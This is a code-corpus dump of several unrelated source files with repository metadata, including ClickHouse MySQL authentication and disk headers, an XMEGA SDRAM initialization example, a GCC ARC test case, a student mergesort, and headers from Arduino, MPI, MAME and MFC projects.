diagnostic ignored "-Wold-style-cast" long pem_size = BIO_get_mem_data(mem, &pem_buf); # pragma GCC diagnostic pop String pem(pem_buf, pem_size); LOG_TRACE(log, "Key: {}", pem); AuthMoreData data(pem); packet_sender->sendPacket(data, true); sent_public_key = true; AuthSwitchResponse response; packet_sender->receivePacket(response); auth_response = response.value; } else { LOG_TRACE(log, "Client didn't request public key."); } String password; /** Decrypt password, if it's not empty. * The original intention was that the password is a string[NUL] but this never got enforced properly so now we have to accept that * an empty packet is a blank password, thus the check for auth_response.empty() has to be made too. * https://github.com/mysql/mysql-server/blob/8.0/sql/auth/sql_authentication.cc#L4017 */ if (!is_secure_connection && !auth_response->empty() && auth_response != String("\0", 1)) { LOG_TRACE(log, "Received nonempty password."); auto ciphertext = reinterpret_cast<unsigned char *>(auth_response->data()); unsigned char plaintext[RSA_size(&private_key)]; int plaintext_size = RSA_private_decrypt(auth_response->size(), ciphertext, plaintext, &private_key, RSA_PKCS1_OAEP_PADDING); if (plaintext_size == -1) { if (!sent_public_key) LOG_WARNING(log, "Client could have encrypted password with different public key since it didn't request it from server."); throw Exception("Failed to decrypt auth data. Error: " + getOpenSSLErrors(), ErrorCodes::OPENSSL_ERROR); } password.resize(plaintext_size); for (int i = 0; i < plaintext_size; i++) { password[i] = plaintext[i] ^ static_cast<unsigned char>(scramble[i % scramble.size()]); } } else if (is_secure_connection) { password = *auth_response; } else { LOG_TRACE(log, "Received empty password"); } if (!password.empty() && password.back() == 0) { password.pop_back(); } context.setUser(user_name, password, address); } private: RSA & public_key; RSA & private_key; Logger * log; String scramble; }; #endif } } }
29.662872
196
0.642657
2fd17d191f5ea060c7965ba155f87b9534989155
603
h
C
src/Disks/RemoteDisksCommon.h
nautaa/ClickHouse
fc4e947f4520676177cb3724cf92ad234dea1c6a
[ "Apache-2.0" ]
null
null
null
src/Disks/RemoteDisksCommon.h
nautaa/ClickHouse
fc4e947f4520676177cb3724cf92ad234dea1c6a
[ "Apache-2.0" ]
1
2022-01-24T12:59:04.000Z
2022-01-24T12:59:04.000Z
src/Disks/RemoteDisksCommon.h
nautaa/ClickHouse
fc4e947f4520676177cb3724cf92ad234dea1c6a
[ "Apache-2.0" ]
null
null
null
#pragma once #include <random> #include <utility> #include <Core/Types.h> #include <Common/thread_local_rng.h> #include <Disks/IDisk.h> #include <Disks/DiskCacheWrapper.h> namespace DB { String getRandomName(size_t len = 32, char first = 'a', char last = 'z'); std::shared_ptr<DiskCacheWrapper> wrapWithCache( std::shared_ptr<IDisk> disk, String cache_name, String cache_path, String metadata_path); std::pair<String, DiskPtr> prepareForLocalMetadata( const String & name, const Poco::Util::AbstractConfiguration & config, const String & config_prefix, ContextPtr context); }
23.192308
93
0.737977
2fd220444b76d76ab2a2100392bb5b0c3d2236ae
338
h
C
FlowerFire/Page/FlowerFireFeatures/Raise(募集)/Second/RaiseInfoViewController.h
CoderWeiLee/FlowerFire
7109cc2f2b41f4c92617e7d6b8af2b6c57bc8a62
[ "MIT" ]
1
2021-01-16T15:15:18.000Z
2021-01-16T15:15:18.000Z
FlowerFire/Page/FlowerFireFeatures/Raise(募集)/Second/RaiseInfoViewController.h
CoderWeiLee/FlowerFire
7109cc2f2b41f4c92617e7d6b8af2b6c57bc8a62
[ "MIT" ]
null
null
null
FlowerFire/Page/FlowerFireFeatures/Raise(募集)/Second/RaiseInfoViewController.h
CoderWeiLee/FlowerFire
7109cc2f2b41f4c92617e7d6b8af2b6c57bc8a62
[ "MIT" ]
null
null
null
// // RaiseInfoViewController.h // FlowerFire // // Created by 王涛 on 2020/7/15. // Copyright © 2020 Celery. All rights reserved. // #import "BaseTableViewController.h" NS_ASSUME_NONNULL_BEGIN @interface RaiseInfoViewController : BaseTableViewController @property(nonatomic, strong)NSString *coinName; @end NS_ASSUME_NONNULL_END
16.9
60
0.772189
2fd25cf7a6332c53d56bfaac08e07c8559fb6073
3,781
c
C
xdk-asf-3.51.0/thirdparty/fatfs/example/memories_initialization_xmega.c
j3270/SAMD_Experiments
5c242aff44fc8d7092322d7baf2dda450a78a9b7
[ "MIT" ]
null
null
null
xdk-asf-3.51.0/thirdparty/fatfs/example/memories_initialization_xmega.c
j3270/SAMD_Experiments
5c242aff44fc8d7092322d7baf2dda450a78a9b7
[ "MIT" ]
null
null
null
xdk-asf-3.51.0/thirdparty/fatfs/example/memories_initialization_xmega.c
j3270/SAMD_Experiments
5c242aff44fc8d7092322d7baf2dda450a78a9b7
[ "MIT" ]
null
null
null
/** * \file * * \brief Initialization of memories (XMEGA) * * Copyright (c) 2014-2018 Microchip Technology Inc. and its subsidiaries. * * \asf_license_start * * \page License * * Subject to your compliance with these terms, you may use Microchip * software and any derivatives exclusively with Microchip products. * It is your responsibility to comply with third party license terms applicable * to your use of third party software (including open source software) that * may accompany Microchip software. * * THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, * WHETHER EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, * INCLUDING ANY IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, * AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT WILL MICROCHIP BE * LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE, INCIDENTAL OR CONSEQUENTIAL * LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND WHATSOEVER RELATED TO THE * SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS BEEN ADVISED OF THE * POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE FULLEST EXTENT * ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN ANY WAY * RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY, * THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE. * * \asf_license_stop * */ #include "asf.h" #include "memories_initialization.h" #if BOARD == XMEGA_A3BU_XPLAINED #include <at45dbx.h> void memories_initialization(void) { at45dbx_init(); } #else //! SDRAM initialization delay in number of CLKper2 cycles (100 us) #define BOARD_EBI_SDRAM_INITDLY \ (100 * 2 * sysclk_get_per2_hz() / 1000000) //! SDRAM refresh interval in number of CLKper2 cycles (16 us) #define BOARD_EBI_SDRAM_REFRESH \ (16 * 2 * sysclk_get_per2_hz() / 1000000) void memories_initialization(void) { struct ebi_cs_config cs_config; struct ebi_sdram_config sdram_config; memset(&cs_config, 0, sizeof(struct ebi_cs_config)); memset(&sdram_config, 0, sizeof(struct ebi_sdram_config)); /* * Configure the EBI port with 12 address lines, no address latches or * low pin count, and set it in SDRAM mode with 3-port EBI port. */ ebi_setup_port(12, 0, 0, EBI_PORT_3PORT | EBI_PORT_SDRAM); /* * Configure the EBI chip select for an 8 MB SDRAM located at * \ref BOARD_EBI_SDRAM_BASE. */ ebi_cs_set_mode(&cs_config, EBI_CS_MODE_SDRAM_gc); ebi_cs_set_address_size(&cs_config, EBI_CS_ASPACE_8MB_gc); ebi_cs_set_base_address(&cs_config, BOARD_EBI_SDRAM_BASE); /* Configure the EBI chip select to be in SDRAM mode. */ ebi_sdram_set_mode(&cs_config, EBI_CS_SDMODE_NORMAL_gc); /* Setup the number of SDRAM rows and columns. */ ebi_sdram_set_row_bits(&sdram_config, 12); ebi_sdram_set_col_bits(&sdram_config, 10); /* Further, setup the SDRAM timing. */ ebi_sdram_set_cas_latency(&sdram_config, 3); ebi_sdram_set_mode_delay(&sdram_config, EBI_MRDLY_2CLK_gc); ebi_sdram_set_row_cycle_delay(&sdram_config, EBI_ROWCYCDLY_7CLK_gc); ebi_sdram_set_row_to_precharge_delay(&sdram_config, EBI_RPDLY_7CLK_gc); ebi_sdram_set_write_recovery_delay(&sdram_config, EBI_WRDLY_1CLK_gc); ebi_sdram_set_self_refresh_to_active_delay(&sdram_config, EBI_ESRDLY_7CLK_gc); ebi_sdram_set_row_to_col_delay(&sdram_config, EBI_ROWCOLDLY_7CLK_gc); ebi_sdram_set_refresh_period(&sdram_config, BOARD_EBI_SDRAM_REFRESH); ebi_sdram_set_initialization_delay(&sdram_config, BOARD_EBI_SDRAM_INITDLY); /* Write SDRAM configuration into the EBI registers. */ ebi_sdram_write_config(&sdram_config); /* Write the chip select configuration into the EBI registers. */ ebi_cs_write_config(EBI_SDRAM_CS, &cs_config); ebi_enable_cs(EBI_SDRAM_CS, &cs_config); do { /* Wait for SDRAM to initialize. */ } while (!ebi_sdram_is_ready()); } #endif
35.669811
80
0.772282
2fd3fb644c16b384a1726f4dc869bdbe045f48cd
2,788
c
C
gcc-gcc-7_3_0-release/gcc/testsuite/gcc.target/arc/jump-around-jump.c
best08618/asylo
5a520a9f5c461ede0f32acc284017b737a43898c
[ "Apache-2.0" ]
7
2020-05-02T17:34:05.000Z
2021-10-17T10:15:18.000Z
gcc-gcc-7_3_0-release/gcc/testsuite/gcc.target/arc/jump-around-jump.c
best08618/asylo
5a520a9f5c461ede0f32acc284017b737a43898c
[ "Apache-2.0" ]
null
null
null
gcc-gcc-7_3_0-release/gcc/testsuite/gcc.target/arc/jump-around-jump.c
best08618/asylo
5a520a9f5c461ede0f32acc284017b737a43898c
[ "Apache-2.0" ]
2
2020-07-27T00:22:36.000Z
2021-04-01T09:41:02.000Z
/* { dg-do compile } */ /* { dg-options "-Os -mlock -mswape -fno-reorder-blocks" } */ /* This caused an ICE in arc_ifcvt when the 1->3 state change was not implemented for TYPE_UNCOND_BRANCH in arc_ccfsm_post_advance. */ typedef long __kernel_long_t; typedef __kernel_long_t __kernel_time_t; struct timespec { __kernel_time_t tv_sec; long tv_nsec; }; struct module; struct device { struct device *parent; }; struct rtc_time { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; int tm_yday; int tm_isdst; }; struct rtc_wkalrm { unsigned char enabled; unsigned char pending; struct rtc_time time; }; struct rtc_class_ops { int (*open)(struct device *); void (*release)(struct device *); int (*ioctl)(struct device *, unsigned int, unsigned long); int (*read_time)(struct device *, struct rtc_time *); int (*set_time)(struct device *, struct rtc_time *); int (*read_alarm)(struct device *, struct rtc_wkalrm *); int (*set_alarm)(struct device *, struct rtc_wkalrm *); //int (*proc)(struct device *, struct seq_file *); int (*set_mmss)(struct device *, unsigned long secs); int (*read_callback)(struct device *, int data); int (*alarm_irq_enable)(struct device *, unsigned int enabled); }; struct rtc_device { struct device dev; struct module *owner; int id; char name[20]; const struct rtc_class_ops *ops; // struct mutex ops_lock; // struct cdev char_dev; unsigned long flags; unsigned long irq_data; //spinlock_t irq_lock; //wait_queue_head_t irq_queue; //struct fasync_struct *async_queue; //struct rtc_task *irq_task; //spinlock_t irq_task_lock; int irq_freq; int max_user_freq; //struct timerqueue_head timerqueue; //struct rtc_timer aie_timer; //struct rtc_timer uie_rtctimer; //struct hrtimer pie_timer; int pie_enabled; //struct work_struct irqwork; int uie_unsupported; //struct work_struct uie_task; //struct timer_list uie_timer; unsigned int oldsecs; unsigned int uie_irq_active:1; unsigned int stop_uie_polling:1; unsigned int uie_task_active:1; unsigned int uie_timer_active:1; }; extern void rtc_time_to_tm(unsigned long time, struct rtc_time *tm); extern struct rtc_device *rtc_class_open(const char *name); extern void rtc_class_close(struct rtc_device *rtc); extern int rtc_set_time (struct rtc_device *rtc, struct rtc_time *tm); int rtc_set_ntp_time(struct timespec now) { struct rtc_device *rtc; struct rtc_time tm; int err = -19; if (now.tv_nsec < (1000000000L >> 1)) rtc_time_to_tm(now.tv_sec, &tm); else rtc_time_to_tm(now.tv_sec + 1, &tm); rtc = rtc_class_open("rtc0"); if (rtc) { if (rtc->ops && (rtc->ops->set_time || rtc->ops->set_mmss)) err = rtc_set_time(rtc, &tm); rtc_class_close(rtc); } return err; }
22.483871
70
0.723458
2fd4858ca348a19fd9cfce26c797b063a71f60d3
1,061
c
C
src/mergesortOld.c
hfcipriano/Multisort
7e44609bd2f04df3638e6fff8eb29a0ef9e7f309
[ "Apache-2.0" ]
null
null
null
src/mergesortOld.c
hfcipriano/Multisort
7e44609bd2f04df3638e6fff8eb29a0ef9e7f309
[ "Apache-2.0" ]
null
null
null
src/mergesortOld.c
hfcipriano/Multisort
7e44609bd2f04df3638e6fff8eb29a0ef9e7f309
[ "Apache-2.0" ]
null
null
null
#include "mergesort.h" extern lista *newLista(); extern void addNodeFinal(lista*, node*); extern void rmNodeInicio(lista*); extern void printListaTexto(lista*); void mergeSort(lista *L){ int i = 0, cont = L->qtd; node *n; lista *A = newLista(), *B = newLista(); if(L->qtd > 0){ while(i < cont){ n = L->raiz; rmNodeInicio(L); if(i < cont/2){ printf("\nCONT %d", cont/2); addNodeFinal(A, n);} else addNodeFinal(B, n); i++; } } if(A->raiz != NULL) mergeSort(A); merge(L, A, B); //if(B->raiz != NULL) //mergeSort(B); } void merge(lista *L, lista *A, lista *B){ node *a = A->raiz, *b = B->raiz; int cont, i = 0; if(a != NULL && b != NULL){ cont = A->qtd + B->qtd; while(i < cont){ if(a->valor < b->valor){ rmNodeInicio(A); addNodeFinal(L, a); a = A->raiz; } else if(a->valor >= b->valor){ rmNodeInicio(B); addNodeFinal(L, a); b = B->raiz; } i++; } } }
17.683333
51
0.483506
2fd4adff444272d8602ab6a553bb1a5703472ff8
3,884
h
C
arduino/libraries/PrintEx/src/lib/IStream.h
alyptik/projects
87254e568edaac8f68d63cc6680023d1c222c288
[ "Apache-2.0" ]
null
null
null
arduino/libraries/PrintEx/src/lib/IStream.h
alyptik/projects
87254e568edaac8f68d63cc6680023d1c222c288
[ "Apache-2.0" ]
null
null
null
arduino/libraries/PrintEx/src/lib/IStream.h
alyptik/projects
87254e568edaac8f68d63cc6680023d1c222c288
[ "Apache-2.0" ]
null
null
null
/******************************************************************************** Copyright 2016 Christopher Andrews. https://github.com/Chris--A/PrintEx Released using: GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 You should have received a copy of the licence with the software package. You can also view a copy of the full licence here: https://github.com/Chris--A/PrintEx/blob/master/LICENSE The only exception to the licence applies when a piece of software used within PrintEx, and uses a less restrictive licence or is public domain. However, these items will be marked accordingly with a link or reference of its origins. The exception mentioned in the above paragraph only applies to the particular lines of code that may be licensed differently, and does not remove the GNU GPLv3 restrictions from the remainder of the source which contains these items, or other source files used in conjunction with them. ********************************************************************************/ // Requires: // Globals.h // TypeTraits.h #include "MemoryPrinter.h" #ifndef HEADER_ISTREAM #define HEADER_ISTREAM namespace ios{ #ifndef ISCPP11 template< typename derived > struct IStreamBase{}; #else template<typename derived> struct IStream{ IStream( derived &host ) : input(host) {} template< typename T > typename enable_if<is_integer<T>::value, IStream>::type operator>> ( T &t ){ t = input.parseInt(); return *this; } template< typename T > typename enable_if<is_float<T>::value, IStream>::type operator>> ( T &t ){ t = input.parseFloat(); return *this; } IStream operator>> ( String &string ){ string = input.readString(); return *this; } //Direct buffer reading, will stop on timeout. //NonStreamingIO::len is modified to reflect the number of characters read. template< typename T, typename = typename enable_if< !is_same<T,GString>::value >::type > typename enable_if<is_base_of<NonStreamingIO,T>::value, IStream>::type operator>> ( T &t ){ int len = t.len; t.len = 0; char readBuff; for( int index = 0 ; index < len ; ++index ){ if( !input.readBytes(&readBuff, 1) ) break; t.write(readBuff); } return *this; } //GString (SRAM) specific buffer handling. _INLINE_ IStream operator>> ( GString &g ){ input.readBytes(g.start, g.len); return *this; } /* //Array streaming. template< typename T, unsigned N > IStream operator>> ( T (&t)[N] ){ for( auto el : t ) *this >> el; return *this; }*/ derived &input; }; //Entry point for an IStream chain. template< typename derived > struct IStreamBase{ template< typename T > IStream<derived> operator>> ( T &data ){ IStream<derived> is( *static_cast<derived*>( this ) ); return is >> data; } }; #endif }; #endif
36.641509
111
0.476828
2fd682ad9bfc99b22fb98a079794b15d0d37eee9
1,420
h
C
MIDAS/Settings.h
epri-dev/Mobile-Integrated-Data-Access-System
68bed9a41b6a4fb12ea3d8f5c62af62037b96dcf
[ "BSD-3-Clause" ]
null
null
null
MIDAS/Settings.h
epri-dev/Mobile-Integrated-Data-Access-System
68bed9a41b6a4fb12ea3d8f5c62af62037b96dcf
[ "BSD-3-Clause" ]
null
null
null
MIDAS/Settings.h
epri-dev/Mobile-Integrated-Data-Access-System
68bed9a41b6a4fb12ea3d8f5c62af62037b96dcf
[ "BSD-3-Clause" ]
null
null
null
// // Settings.h // MIDAS // // Created by Susan Rudd on 19/09/2011. // Copyright 2011 EPRI/Open Grid Systems Ltd. All rights reserved. // #import <Foundation/Foundation.h> #import <MapKit/MapKit.h> @interface Settings : NSObject { BOOL lowLinesON; BOOL mediumLinesON; BOOL highLinesON; double maxDistance; BOOL overrideAltitude; double altitude; BOOL debugON; BOOL overrideLocation; CLLocationCoordinate2D location; NSString *data; NSString *server; NSString *deviceToken; int connectionStatus; NSString *dirty; } + (Settings *) sharedInstance; - (BOOL)isLowLinesON; - (void)setLowLinesON:(BOOL)condition; - (BOOL)isMediumLinesON; - (void)setMediumLinesON:(BOOL)condition; - (BOOL)isHighLinesON; - (void)setHighLinesON:(BOOL)condition; - (BOOL)isOverrideAltON; - (void)setOverrideAltON:(BOOL)condition; - (BOOL)isDebugON; - (void)setDebugON:(BOOL)condition; - (BOOL)isOverrideLocationON; - (void)setOverrideLocationON:(BOOL)condition; - (void) setDevice; @property (nonatomic) double altitude; @property (nonatomic) double maxDistance; @property (nonatomic) NSString *data; @property (nonatomic) NSString *server; @property (nonatomic) NSString *deviceToken; @property (nonatomic) NSString *dirty; @property (nonatomic) NSString *device; @property (nonatomic) int connectionStatus; @property (nonatomic) CLLocationCoordinate2D location; @end
22.539683
67
0.734507
2fd7b29cca6fdf1a721e007ee34252395249afa3
4,952
h
C
include/nlermathutil.h
nestlabs/nler
ea8562e9c8f0d4a3ae7021b42999473ef311af63
[ "Apache-2.0" ]
4
2020-04-24T22:03:11.000Z
2021-06-02T21:53:59.000Z
include/nlermathutil.h
nestlabs/nler
ea8562e9c8f0d4a3ae7021b42999473ef311af63
[ "Apache-2.0" ]
12
2018-08-23T18:13:14.000Z
2020-05-06T23:52:29.000Z
include/nlermathutil.h
nestlabs/nler
ea8562e9c8f0d4a3ae7021b42999473ef311af63
[ "Apache-2.0" ]
2
2020-05-05T23:55:07.000Z
2020-09-06T19:07:59.000Z
/* * * Copyright (c) 2016 Nest Labs, Inc. * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * Math utilities. * */ #ifndef NL_ER_MATH_UTIL_H #define NL_ER_MATH_UTIL_H #include <stdint.h> #ifdef __cplusplus extern "C" { #endif /** Macro to compute a shift of a 32-bit number s.t. the number would have the MSB set. */ #define NL_MATH_UTIL_COMPUTE_LEFT_SHIFT(x) \ (((x) & 0x80000000) ? 0 : \ (((x) & 0x40000000) ? 1 : \ (((x) & 0x20000000) ? 2 : \ (((x) & 0x10000000) ? 3 : \ (((x) & 0x08000000) ? 4 : \ (((x) & 0x04000000) ? 5 : \ (((x) & 0x02000000) ? 6 : \ (((x) & 0x01000000) ? 7 : \ (((x) & 0x00800000) ? 8 : \ (((x) & 0x00400000) ? 9 : \ (((x) & 0x00200000) ? 10 : \ (((x) & 0x00100000) ? 11 : \ (((x) & 0x00080000) ? 12 : \ (((x) & 0x00040000) ? 13 : \ (((x) & 0x00020000) ? 14 : \ (((x) & 0x00010000) ? 15 : \ (((x) & 0x00008000) ? 16 : \ (((x) & 0x00004000) ? 17 : \ (((x) & 0x00002000) ? 18 : \ (((x) & 0x00001000) ? 19 : \ (((x) & 0x00000800) ? 20 : \ (((x) & 0x00000400) ? 21 : \ (((x) & 0x00000200) ? 22 : \ (((x) & 0x00000100) ? 23 : \ (((x) & 0x00000080) ? 24 : \ (((x) & 0x00000040) ? 25 : \ (((x) & 0x00000020) ? 26 : \ (((x) & 0x00000010) ? 27 : \ (((x) & 0x00000008) ? 28 : \ (((x) & 0x00000004) ? 29 : \ (((x) & 0x00000002) ? 30 : 31))))))))))))))))))))))))))))))) #define NL_MATH_UTILS_SCALED_DIVISOR(DIVISOR) (((uint32_t)(DIVISOR)) << NL_MATH_UTIL_COMPUTE_LEFT_SHIFT(DIVISOR)) /**< Scale the divisor s.t. its MSB is set */ #define NL_MATH_UTILS_RECIPROCAL(DIVISOR) ((UINT64_MAX / NL_MATH_UTILS_SCALED_DIVISOR(DIVISOR)) - (1ULL << 32)) /**< Compute the reciprocal of a divisor */ #define NL_MATH_UTILS_SCALED_DIVIDEND(DIVIDEND, DIVISOR) ((DIVIDEND) << NL_MATH_UTIL_COMPUTE_LEFT_SHIFT(DIVISOR)) /**< Scale the dividend by the same factor as the divisor */ /** Function implementing a division of a 64-bit dividend producing a * 32 bit quotient using a 32bit divisor and a precomputed 32-bit * reciprocal. * * @param[in] inDividend 64-bit, unsigned dividend. The dividend must * be scaled along with the divisor s.t. divisor's most * significant bit is set to 1. * * @param[in] inInverse 32-bit reciprocal of the inDivisor computed * via formula: * floor((2^64-1)/inDivisor) - 2^32 * * @param[in] inDivisor 32-bit divisor. The divisor MUST be scaled * s.t. its most significant bit is set to 1. * */ uint32_t nl_div_uint64_into_uint32_helper(uint64_t inDividend, uint32_t inInverse, uint32_t inDivisor); /** A macro that defines a function that generates a 32-bit quotient * of a 64-bit divident and a constant. */ #define NL_GENERATE_UDIV64_BY(DIVISOR) \ uint32_t nl_udiv64_by_##DIVISOR (uint64_t inDividend) \ { \ const uint32_t reciprocal = NL_MATH_UTILS_RECIPROCAL(DIVISOR); \ const uint32_t shiftedDivisor = NL_MATH_UTILS_SCALED_DIVISOR(DIVISOR); \ return nl_div_uint64_into_uint32_helper( \ NL_MATH_UTILS_SCALED_DIVIDEND(inDividend, DIVISOR), \ reciprocal, \ shiftedDivisor); \ } /** Divide a 64 bit unsigned dividend by 1000 producing a 32-bit * value. No checking is performed to ensure that the quotient fits * in 32 bits. * * @param[in] inDividend 64-bit value to be divided * * @result the 32-bit quotient. */ uint32_t nl_udiv64_by_1000ULL (uint64_t inDividend); #ifdef __cplusplus } #endif #endif // NL_ER_MATH_UTIL_H
40.260163
174
0.519184
2fd802a7c7993597e7dff1f67cd2a524526c6d96
305
c
C
ch05/exitcode.c
l0y/smallerc
1aaacdf2c150aebb2050b4df9a2fe3928572f983
[ "CC0-1.0" ]
4
2021-05-20T20:38:36.000Z
2021-08-03T16:47:42.000Z
ch05/exitcode.c
l0y/smallerc
1aaacdf2c150aebb2050b4df9a2fe3928572f983
[ "CC0-1.0" ]
null
null
null
ch05/exitcode.c
l0y/smallerc
1aaacdf2c150aebb2050b4df9a2fe3928572f983
[ "CC0-1.0" ]
1
2021-07-16T06:40:40.000Z
2021-07-16T06:40:40.000Z
#include <stdio.h> int main() { char answer; printf("Would you like to succeed (s) or fail (f)? "); scanf("%c", &answer); if (answer == 's') { return 0; } else if (answer == 'f') { return 1; } else { printf("You supplied an unsupported answer: %c\n", answer); return 2; } }
19.0625
63
0.55082
2fd82b4527fa072ca979cddb9dcd3fcf7f169464
1,035
h
C
src/mame/includes/kchamp.h
seleuco/MAME4droid_Native
b6adcf8ba8ac602d93d28ec4e6f7346f92c84363
[ "Unlicense" ]
5
2020-09-09T09:24:59.000Z
2022-03-22T04:44:14.000Z
src/mame/includes/kchamp.h
seleuco/MAME4droid_Native
b6adcf8ba8ac602d93d28ec4e6f7346f92c84363
[ "Unlicense" ]
null
null
null
src/mame/includes/kchamp.h
seleuco/MAME4droid_Native
b6adcf8ba8ac602d93d28ec4e6f7346f92c84363
[ "Unlicense" ]
4
2021-02-04T13:26:39.000Z
2022-03-07T08:51:45.000Z
/************************************************************************* Karate Champ *************************************************************************/ class kchamp_state : public driver_data_t { public: static driver_data_t *alloc(running_machine &machine) { return auto_alloc_clear(&machine, kchamp_state(machine)); } kchamp_state(running_machine &machine) : driver_data_t(machine) { } /* memory pointers */ UINT8 * videoram; UINT8 * colorram; UINT8 * spriteram; size_t spriteram_size; /* video-related */ tilemap_t *bg_tilemap; /* misc */ int nmi_enable; int sound_nmi_enable; int msm_data; int msm_play_lo_nibble; int counter; /* devices */ running_device *audiocpu; }; /*----------- defined in video/kchamp.c -----------*/ WRITE8_HANDLER( kchamp_videoram_w ); WRITE8_HANDLER( kchamp_colorram_w ); WRITE8_HANDLER( kchamp_flipscreen_w ); PALETTE_INIT( kchamp ); VIDEO_START( kchamp ); VIDEO_UPDATE( kchamp ); VIDEO_UPDATE( kchampvs );
22.5
116
0.581643
2fd922145cd72af981fb2d2696b05a8ec468acbb
1,602
h
C
include/Transforms/DataDistribution/MPI/MPILoopNesting.h
czen/open-ops
b1ab8da354c4aecc0fe76a562395f5861bffc207
[ "BSD-3-Clause" ]
23
2017-08-01T14:29:48.000Z
2019-10-09T22:27:38.000Z
include/Transforms/DataDistribution/MPI/MPILoopNesting.h
czen/open-ops
b1ab8da354c4aecc0fe76a562395f5861bffc207
[ "BSD-3-Clause" ]
2
2017-08-06T08:34:18.000Z
2017-08-08T16:27:38.000Z
include/Transforms/DataDistribution/MPI/MPILoopNesting.h
czen/open-ops
b1ab8da354c4aecc0fe76a562395f5861bffc207
[ "BSD-3-Clause" ]
2
2017-08-08T12:25:06.000Z
2019-09-16T15:18:18.000Z
#ifndef MPI_LOOP_NESTING_H #define MPI_LOOP_NESTING_H #include "Transforms/MPI/MPIGlobalsProducer/IMPIRankProducer.h" #include "Transforms/MPI/MPIGlobalsProducer/IMPISizeProducer.h" #include "Transforms/MPI/Utils/MPIProducerFactory.h" #include "Reprise/Reprise.h" #include "Transforms/ITransformation.h" namespace OPS { namespace Transforms { namespace DataDistribution { using OPS::Transforms::MPIProducer::MPIProducerFactory; using OPS::Transforms::MPIProducer::IMPIRankProducer; using OPS::Transforms::MPIProducer::IMPISizeProducer; using OPS::Reprise::ReprisePtr; using OPS::Reprise::ForStatement; using OPS::Reprise::SubroutineDeclaration; using OPS::Reprise::VariableDeclaration; class MPILoopNesting: public ITransformation, public OPS::NonCopyableMix, public OPS::NonAssignableMix { public: // Constructor MPILoopNesting(ForStatement& forStatement); // Destructor virtual ~MPILoopNesting(); // ITransformation implementation virtual bool analyseApplicability(); virtual std::string getErrorMessage(); virtual void makeTransformation(); private: MPIProducerFactory* m_pFactory; IMPIRankProducer* m_pRankProducer; IMPISizeProducer* m_pSizeProducer; ReprisePtr<ForStatement> m_rpForStatement; SubroutineDeclaration* m_pParentSubroutine; VariableDeclaration* m_pRankDeclaration; VariableDeclaration* m_pSizeDeclaration; std::list<std::string> m_errors; bool m_analysisRerformed; }; } } } #endif
27.62069
106
0.728464
2fd9414f45be2cbc2c21c5b4c9be92d3bd1f929b
1,682
h
C
src/MapEditor/CivilizationEditor/CivilizationEditorDlg.h
vitek-karas/WarPlusPlus
3abb26ff30dc0e93de906ab6141b89c2fa301ae4
[ "MIT" ]
4
2019-06-17T13:44:49.000Z
2021-01-19T10:39:48.000Z
src/MapEditor/CivilizationEditor/CivilizationEditorDlg.h
vitek-karas/WarPlusPlus
3abb26ff30dc0e93de906ab6141b89c2fa301ae4
[ "MIT" ]
null
null
null
src/MapEditor/CivilizationEditor/CivilizationEditorDlg.h
vitek-karas/WarPlusPlus
3abb26ff30dc0e93de906ab6141b89c2fa301ae4
[ "MIT" ]
4
2019-06-17T16:03:20.000Z
2020-02-15T09:14:30.000Z
#if !defined(AFX_CIVILIZATIONEDITORDLG_H__688CEF78_8A12_11D3_A0A6_FEA9F52CDF31__INCLUDED_) #define AFX_CIVILIZATIONEDITORDLG_H__688CEF78_8A12_11D3_A0A6_FEA9F52CDF31__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 // CivilizationEditorDlg.h : header file // #include "..\DataObjects\EMap.h" ///////////////////////////////////////////////////////////////////////////// // CCivilizationEditorDlg dialog class CCivilizationEditorDlg : public CDialog { // Construction public: void Create(CEMap *pMap); CCivilizationEditorDlg(CWnd* pParent = NULL); // standard constructor // Dialog Data //{{AFX_DATA(CCivilizationEditorDlg) enum { IDD = IDD_CIVILIZATIONEDITOR }; CButton m_wndEdit; CButton m_wndDelete; CListCtrl m_wndList; //}}AFX_DATA // Overrides // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CCivilizationEditorDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementation protected: // Generated message map functions //{{AFX_MSG(CCivilizationEditorDlg) virtual BOOL OnInitDialog(); afx_msg void OnAdd(); afx_msg void OnDelete(); afx_msg void OnEdit(); afx_msg void OnDblclkList(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnItemChangedList(NMHDR* pNMHDR, LRESULT* pResult); //}}AFX_MSG DECLARE_MESSAGE_MAP() private: void UpdateSelectedCivilization(); CEMap * m_pMap; BOOL IsCivUnique(CECivilization *pCiv); }; //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. #endif // !defined(AFX_CIVILIZATIONEDITORDLG_H__688CEF78_8A12_11D3_A0A6_FEA9F52CDF31__INCLUDED_)
27.129032
97
0.750892
2fd9680bcc643180c4ac6610a14c12a72fe2de73
11,314
c
C
XilinxProcessorIPLib/drivers/v_scenechange/examples/src/xv_scenechange_stream_mode_ex.c
ghsecuritylab/embeddedsw
dab8779662c6b7517e9cd849e954255fbe4ca479
[ "BSD-3-Clause" ]
4
2020-11-06T07:18:11.000Z
2022-02-03T09:03:31.000Z
